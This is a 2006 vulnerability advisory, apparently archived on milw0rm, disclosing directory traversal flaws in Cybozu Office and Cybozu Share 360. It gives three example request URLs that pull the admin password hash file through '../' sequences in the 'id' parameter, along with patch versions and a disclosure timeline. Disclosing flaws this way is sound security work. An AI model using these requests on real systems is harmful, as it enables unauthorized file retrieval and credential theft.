70 lines
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2.7 KiB
Text
70 lines
No EOL
2.7 KiB
Text
Cybozu Products Arbitrary File Retrieval Vulnerability
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by Tan Chew Keong
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Release Date: 2006-08-28
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Summary
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A vulnerability has been found in Cybozu Products. When exploited, the vulnerability allows
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an authenticated user to retrieve arbitrary files accessible to the web server process.
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Tested Versions
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* Cybuzu Office Version 6.5 (Build 1.2 20050427121735) for Windows
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* Cybozu Share 360 Version 2.5 (Build 0.2 20050121115231) for Windows
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Details
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This advisory discloses a directory traversal vulnerability in Cybozu products.
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1) Cybozu Office File Cabinet File Download Directory Traversal
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Cybuzu Office does not properly validate the "id" parameter in "/scripts/cbag/ag.exe" before
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using it to retrieve files from the file cabinet for a logon user. This allows a malicious user
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to retrieve arbitrary files accessible to the web server process using directory traversal characters.
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Example (to retrieve the password hash of the admin page):
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http://192.168.1.64/scripts/cbag/ag.exe?page=FileDownload&id=../../../../../../../../../../../../../inetpub/scripts/cbag/cb5/data/admin¬imecard=1&type=text&subtype=html&ct=1
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2) Cybozu Share 360 File Cabinet and Message Attachment Download Directory Traversal
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Cybuzu Share 360 does not properly validate the "id" parameter in "/scripts/s360v2/s360.exe"
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before using it to retrieve files from the file cabinet and to retrieve file attachments from a
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received message/memo. This allows a malicious user to retrieve arbitrary files accessible to the
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web server process using directory traversal characters.
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Example (to retrieve the password hash of the admin page):
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http://192.168.1.64/scripts/s360v2/s360.exe?page=FileDownload&id=../../../../../../../../../../inetpub/scripts/s360v2/s360v2/data/admin&type=text&subtype=plain&ct=1&.txt
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http://192.168.1.64/scripts/s360v2/s360.exe?page=MessageDownload&mid=37&id=../../../../../../../../../../inetpub/scripts/s360v2/s360v2/data/admin&bc=1&type=text&subtype=plain&ct=1&.txt
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Patch / Workaround
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Cybuzu Office:
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Update to Version 6.6 (Build 1.3).
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Cybozu Share 360:
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Update to Version 2.5 (Build 0.3).
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References
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http://cybozu.co.jp/products/dl/notice_060825/
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Disclosure Timeline
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2006-07-04 - Vulnerability Discovered.
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2006-07-13 - Initial Vendor Notification.
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2006-07-13 - Initial Vendor Reply.
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2006-07-14 - Received scheduled patch release date from vendor.
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2006-08-16 - Received notification that patch release will be delayed.
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2006-08-25 - Vendor released patch information on website.
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2006-08-28 - Public Disclosure.
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Contact
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For further enquries, comments, suggestions or bug reports, simply email them to
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Tan Chew Keong (chewkeong[at]vuln[dot]sg)
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# milw0rm.com [2006-08-28] |